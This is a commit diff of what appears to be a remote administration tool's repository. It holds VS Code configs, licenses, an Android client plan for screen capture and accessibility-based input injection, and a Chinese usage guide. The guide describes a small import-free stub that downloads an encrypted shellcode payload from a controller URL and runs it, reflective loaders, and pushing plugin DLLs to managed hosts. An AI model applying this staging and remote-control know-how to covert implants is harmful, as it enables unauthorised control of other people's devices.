"name": "Linux (WSL)",
"intelliSenseMode": "linux-gcc-x64",
"compilerPath": "/usr/bin/g++",
"cStandard": "c11",
"cppStandard": "c++11",
"includePath": [
"${workspaceFolder}",
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/linux",
"${workspaceFolder}/linux/mterm"
],
"defines": [
"__linux__"
]
}
]
}

8
.vscode/extensions.json vendored Normal file
View File

@@ -0,0 +1,8 @@
{
"recommendations": [
"ms-vscode.cpptools",
"ms-vscode-remote.remote-wsl",
"ms-vscode.powershell",
"twxs.cmake"
]
}

86
.vscode/launch.json vendored Normal file
View File

@@ -0,0 +1,86 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Yama (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/Bin/Yama_x64d.exe",
"args": [
"-agent"
],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/Bin",
"environment": [],
"preLaunchTask": "Build Yama (Debug x64)",
"symbolSearchPath": "${workspaceFolder}/Bin;${workspaceFolder}/x64/Debug",
"sourceFileMap": {
"${workspaceFolder}": "${workspaceFolder}"
}
},
{
"name": "Yama (Attach)",
"type": "cppvsdbg",
"request": "attach",
"processId": "${command:pickProcess}"
},
{
"name": "ghost (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/x64/Debug/ghost.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/x64/Debug",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "Build ghost (Debug x64)"
},
{
"name": "TestRun (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/x64/Debug/TestRun.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/x64/Debug",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "Build TestRun (Debug x64)"
},
{
"name": "ghost (Linux WSL)",
"type": "cppdbg",
"request": "launch",
"program": "/mnt/c/github/YAMA/linux/ghost",
"args": [],
"stopAtEntry": false,
"cwd": "/mnt/c/github/YAMA/linux",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"miDebuggerPath": "/usr/bin/gdb",
"pipeTransport": {
"pipeCwd": "${workspaceFolder}",
"pipeProgram": "C:\\Windows\\System32\\wsl.exe",
"pipeArgs": [
"-e",
"bash",
"-c"
],
"debuggerPath": "/usr/bin/gdb"
},
"sourceFileMap": {
"/mnt/c/github/YAMA": "${workspaceFolder}"
},
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
],
"preLaunchTask": "Build ghost (Linux WSL)"
}
]
}

109
.vscode/tasks.json vendored Normal file
View File

@@ -0,0 +1,109 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Build Yama (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"Yama",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build ghost (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"ghost",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build TestRun (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"TestRun",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build ghost (Linux WSL)",
"type": "process",
"command": "wsl",
"args": [
"-e",
"bash",
"-c",
"cmake -DCMAKE_BUILD_TYPE=Debug . && make -j$(nproc)"
],
"options": {
"cwd": "${workspaceFolder}\\linux"
},
"problemMatcher": [
"$gcc"
],
"group": "build",
"presentation": {
"reveal": "always",
"panel": "dedicated",
"clear": true
}
}
]
}

View File

@@ -11,6 +11,14 @@
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
- [libvpl v2.16.0](https://github.com/intel/libvpl)
- [dav1d 62501cc](https://github.com/videolan/dav1d)
## execution
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
- [sRDI](https://github.com/Drewsif/sRDI.git)
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
## *Note*

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019-2026 yuanyuanxiang
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to furnish persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE, OR IN CONNECTION WITH THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

279
LICENSE-THIRD-PARTY.txt Normal file
View File

@@ -0,0 +1,279 @@
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
This document contains intellectual property notices and license information for
third-party software components used in this product.
================================================================================
SUMMARY OF LICENSE TYPES
================================================================================
The third-party components included in this software are governed by the following
open-source licenses. For complete compliance, ensure that any modifications to
LGPL and MPL covered components are made available under their respective terms,
and this text file is distributed with your software product.
1. Zlib License
- zlib v1.3.2
2. BSD 3-Clause License
- zstd v1.5.7
- libyuv v190
- jpeg (libjpeg-turbo) v3.1.1
- opus-1.6.1
3. BSD 2-Clause License
- libpeconv c7d1e48
- pe_to_shellcode
4. MIT License
- jsoncpp v1.9.6
- sRDI
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
6. Mozilla Public License v2.0 (MPL 2.0)
- MemoryModule
================================================================================
1. zlib v1.3.2 (Zlib License)
================================================================================
Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
================================================================================
2. zstd v1.5.7 (BSD 3-Clause License)
================================================================================
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name Facebook nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
3. libyuv v190 (BSD 3-Clause License)
================================================================================
Copyright 2011 The LibYuv Project Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Google nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
================================================================================
Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
- Neither the name of the libjpeg-turbo Project nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
5. opus-1.6.1 (BSD 3-Clause License)
================================================================================
Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
Jean-Marc Valin, Timothy B. Terriberry,
CSIRO, Gregory Maxwell, Mark Borgerding,
Erik de Castro Lopo
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.Org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
================================================================================
Copyright (c) 2020, hasherezade
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
7. jsoncpp v1.9.6 (MIT License)
================================================================================
Copyright (c) 2007-2010 The JsonCpp Authors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
================================================================================
8. sRDI (MIT License)
================================================================================
Copyright (c) 2017 Drewsif
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
================================================================================
This software uses libraries from the FFmpeg project (v7.1), licensed under the
GNU Lesser General Public License (LGPL) version 2.1.
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
and does NOT enable any GPL-licensed plugins (such as x264).
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
website (https://ffmpeg.org). If you require the exact build script and build
configuration used by our product to build the FFmpeg binary, please contact
our open-source compliance team.
================================================================================
10. MemoryModule (Mozilla Public License v2.0)
================================================================================
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
If a copy of the MPL was not distributed with this file, You can obtain one at
http://mozilla.org/MPL/2.0/.
MemoryModule is Copyright (c) Joachim Bauch.
Under the terms of the MPL 2.0, you may distribute this component as part of
your commercial/proprietary application without being required to open-source
your own proprietary code, provided that:
1. MemoryModule source files remain unmodified, or if modified, those modifications
are made available under the MPL 2.0.
2. Users are informed that MemoryModule is used and where they can find its source.

872
ReadMe.md

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

80
Skills.md Normal file
View File

@@ -0,0 +1,80 @@
# YAMA 使用方法与技巧
## 编译程序
编译此程序需要Visual Studio 2019及以上版本。如果编译Go服务端需要Go 1.25及以上版本。
除了直接通过Visual Studio打开项目文件进行编译也可以通过以下命令进行编译:
- build.cmd: 编译YAMA.exe自动提前编译客户端程序
- build.cmd publish编译YAMA.exe且通过upx压缩所生成的可执行文件较小。
- buld.cmd server只编译YAMA.exe需保证所依赖的客户端程序已经编译。
- build.cmd go-server编译 Go 服务端可以选择带publish 参数进行upx压缩。
## Go 服务端
支持在Windows、Linux、MacOS系统运行使得用户不再依赖Windows服务器来搭建远程控制系统且部署Go服务端在Linux或MacOS具有更高安全性。
但是用户仍然需要有一台Windows电脑使用YAMA生成客户端程序。
## 生成客户端
自版本v1.3.4起,不论是服务端/主控端,还是客户端/受管端都支持在全平台运行Windows、Linux、MacOS
关于在生成客户端时怎么填参数,参考早期在 GitHub 的[文档](https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数)。
此文档也许已经过时,但新文档没有准备好。因为生成客户端的逻辑没有改变,所以这篇文档仍然具有参考价值。
## 更新内嵌资源
参看 "server\2015Remote\BuildDlg.cpp" 描述YAMA作为一个功能强大的远程管理系统内嵌了包含客户端、开源工具在内的10多个资源。
较新版本的YAMA支持在不修改源代码、不重新编译的情况下更新内嵌的这些资源。用户只需要在当前YAMA进程的目录下增加res子目录
将资源命名为如下所述的名称即可。例如编译了新版本的 frpc.dll 将其放到 res/frps.dll 位置即可重启YAMA即会使用该磁盘上的资源。
```
namespace ResFileName {
// Ghost 主程序
const char* GHOST_X86 = "ghost_x86.exe";
const char* GHOST_X64 = "ghost_x64.exe";
const char* GHOST_LINUX = "ghost_linux";
const char* GHOST_MACOS = "ghost_macos";
// TestRun 加载器
const char* TESTRUN_X86 = "testrun_x86.dll";
const char* TESTRUN_X64 = "testrun_x64.dll";
// ServerDll
const char* SERVERDLL_X86 = "serverdll_x86.dll";
const char* SERVERDLL_X64 = "serverdll_x64.dll";
// TinyRun
const char* TINYRUN_X86 = "tinyrun_x86.exe";
const char* TINYRUN_X64 = "tinyrun_x64.exe";
// SCLoader (Shellcode加载器)
const char* SCLOADER_X86 = "scloader_x86.bin";
const char* SCLOADER_X64 = "scloader_x64.bin";
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
// FRP 相关 (无架构区分64位DLL)
const char* FRPC_DLL = "frpc.dll";
const char* FRPS_DLL = "frps.dll";
// 工具
const char* UPX_EXE = "upx.exe";
const char* RCEDIT_EXE = "rcedit.exe";
}
```
## 使用插件
将64位的Windows DLL放到Plugins目录主控程序会加载DLL且可以通过在线主机的右键菜单将DLL发送的目标主机执行。
开发自定义插件需要遵循一些规范https://simpleremoter.com/plugins
## 载荷分离
通过设置 Web 端口默认值8080来开启Web远程桌面且本机会提供文件下载服务。将文件放置于该目录从外部访问链接即可下载。
比如,生成服务端时,选择 Shellcode+AES, 开启文件下载,将载荷生成为单独的文件 "1.bin"将此文件放置于Payloads 目录。
访问 http://127.0.0.1:8080/payloads/1.bin 即可下载此载荷文件。如果本机具有公网IP则127.0.0.1可替换为公网IP。在有公网IP的计算机开启Web功能必须设置登录密码否则存在安全风险。
采用载荷分离方式生成的程序只有7KB运行此程序会下载载荷解密载荷中的Shellcode并执行。加载器源代码见 client\SimpleSCLoader.c采用了高级编程技巧无导入函数。本项目不提供任何“面纱”保证且使用场景只限技术研究和学习。
## Web 远程桌面
通过设置 Web 端口默认值8080即开启Web远程桌面在浏览器地址栏访问本机8080端口就进入Web远程桌面默认的密码是admin。
如果本机有公网IP务必修改默认密码设置为较复杂的密码否则可能被别人登录。Web登录已做防护连续3次输入错误密码会冻结。
从外部访问Web远程桌面需要域名和证书浏览器H264解码硬性要求Web 远程桌面支持2个主机同时在线如需突破此限制请联系管理员。
## 获取更多
访问源代码的docs目录阅读本项目更多内容也可以访问官方网站https://simpleremoter.com成为注册用户可获取额外的资源与支持。官方网站将不定期地更新有关此软件的公告、用法、案例等内容。

21
android/.gitignore vendored Normal file
View File

@@ -0,0 +1,21 @@
# Build output
build/
app/build/
# Gradle cache and generated configs
.gradle/
gradle/gradle-daemon-jvm.properties
# Local config (contains SDK path, machine-specific)
local.properties
# Android Studio project files
.idea/
*.iml
# Signing config
*.jks
*.keystore
# Force-track prebuilt static libs (overrides root .gitignore *.a rule)
!app/src/main/cpp/lib/**/*.a

266
android/PLAN.md Normal file
View File

@@ -0,0 +1,266 @@
# Android 客户端开发计划书
> 目标功能:屏幕浏览 + 操作控制(触控/键盘输入注入)
> 参考实现:`linux/` 与 `macos/`,两者已验证的共用策略同样适用于 Android
---
## 一、代码复用分析
### 1.1 可 100% 直接复用NDK 无改动)
| 文件 | 用途 | 依赖 |
|------|------|------|
| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C无 OS 依赖 |
| `common/aes.c/.h` | AES 加密 | 纯 C |
| `common/commands.h` | 协议定义(全平台共享) | 无 |
| `common/client_auth_state.h` | 认证状态机 | 无 |
| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIXAndroid NDK 支持) |
| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
| `common/rtt_estimator.h` | RTT 估计器 | 无 |
| `common/logger.h` | 日志 | 无 |
| `common/locker.h` | 互斥锁 | `std::mutex` |
| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理Linux 已复用) | POSIX socket |
| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
| `client/sign_shim_unix.cpp` | 签名垫片Linux/macOS 已复用) | `libsign.a` |
### 1.2 可参考逻辑、重新实现 Android 版本
| 现有文件 | Android 对应实现 | 原因 |
|----------|-----------------|------|
| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同MediaProjection vs X11 |
| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同AccessibilityService vs CGEvent |
| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`Phase 4 | 系统 API 不同 |
| `macos/H264Encoder.mm` | Android MediaCodec 路径Java 侧) | 硬件编码器 API 不同 |
| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑,逐段移植 |
### 1.3 不复用Windows 专属)
- `client/ScreenCapturerDXGI.h``client/IOCPBase.h``client/ScreenSpy.cpp`Windows GDI/DXGI
- `client/KeyboardManager.cpp`SendInput API
- `client/KernelManager.cpp``client/ServicesManager.cpp`
---
## 二、技术选型
### 2.1 屏幕捕获
**方案**`MediaProjection` APIAndroid 5.0+
```
MediaProjection
└── VirtualDisplay (Surface)
└── MediaCodec (Surface input零拷贝)
└── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
```
- 无需 root官方公开 API
- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
- **实际采用零拷贝路径Path A**VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface无 ImageReader 中间环节
### 2.2 视频编码
**已采用**Android `MediaCodec`(硬件 H.264 加速)✅
- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU零拷贝
- 关键帧前自动拼接 SPS+PPS确保解码器可初始化
- 每 2 秒强制触发一次 IDR兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器)
- 编码分辨率:长边限制 1080保持宽高比宽高各自 2 对齐H.264 要求)
**编码流水线**
```
VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
→ onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
```
### 2.3 输入控制
**已采用**`AccessibilityService``ControlService.kt`)✅
| 事件 | 映射 |
| --- | --- |
| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径UP 时判断:位移 < 10px → 单击dispatchTap否则 → 拖拽dispatchTouchGesture |
| `WM_LBUTTONDBLCLK` | 双击:两次 80ms 手势,间隔 200ms |
| `WM_RBUTTONDOWN` | 长按 600ms |
| `WM_MOUSEWHEEL` | delta > 0滚轮上→ 手指下划 +400pxdelta < 0 → 手指上划 -400px |
| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
**关键实现细节**
- 协议:`COMMAND_SCREEN_CONTROL` + MSG64固定 48 字节),**坐标从 lParamoffset 24读取**,与 Windows/Linux/macOS 客户端完全一致;不读 pt.x/pt.y64-bit MSG 与 MSG64 的 pt 偏移不同,直接读会得到错误 Y 坐标)
- 坐标映射:`phys = enc * physSize / encSize`(编码空间 → 物理屏幕空间)
- 单击路径非退化:`moveTo(x,y); lineTo(x+1,y)`,避免 Android 静默拒绝零长度手势路径
- C++ → Kotlin 回调:`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
### 2.4 网络传输
与 Linux 完全相同的 POSIX socket 路径:
- TCP 控制通道(`IOCPClient.cpp` 已在 Linux 验证)
- KCP over UDP 视频流(`ikcp.c` 纯 CNDK 直接编译,当前未启用)
- TLS/AES 加密复用 `common/aes.c`
---
## 三、目录结构(实际)
```
android/
├── PLAN.md # 本文件
├── README.md # 编译与安装说明
├── build_apk.sh # 编译脚本release/debug/clean
├── yama-release.jks # 签名密钥库(密码通过 YAMA_PWD 环境变量传入)
├── app/
│ ├── build.gradle
│ ├── proguard-rules.pro # 保留 JNI 方法名
│ └── src/main/
│ ├── AndroidManifest.xml
│ ├── java/com/yama/client/
│ │ ├── MainActivity.kt # 权限申请 + 启动 Service
│ │ ├── CaptureService.kt # ForegroundServiceMediaProjection + MediaCodec
│ │ ├── ControlService.kt # AccessibilityService手势注入 + 全局键 + 活动窗口上报
│ │ └── YamaBridge.kt # JNI 声明nativeInit/Stop/SetScreenSize/OnH264Frame
│ ├── cpp/
│ │ ├── CMakeLists.txt
│ │ ├── main.cpp # NDK 入口:连接/心跳/DataProcess/DispatchControlEvent
│ │ ├── ScreenHandler.h # 子连接管理:发送 BitmapInfo/H264 帧,接收 SCREEN_CONTROL
│ │ ├── android_compat.h # 平台兼容头(强制注入替代修改共用源文件)
│ │ ├── common/ → ../../common/ # 符号链接commands.h 等)
│ │ ├── client/ → ../../client/ # 符号链接IOCPClient 等)
│ │ └── lib/
│ │ ├── arm64-v8a/libsign.a
│ │ ├── arm64-v8a/libzstd.a
│ │ ├── armeabi-v7a/libsign.a
│ │ └── armeabi-v7a/libzstd.a
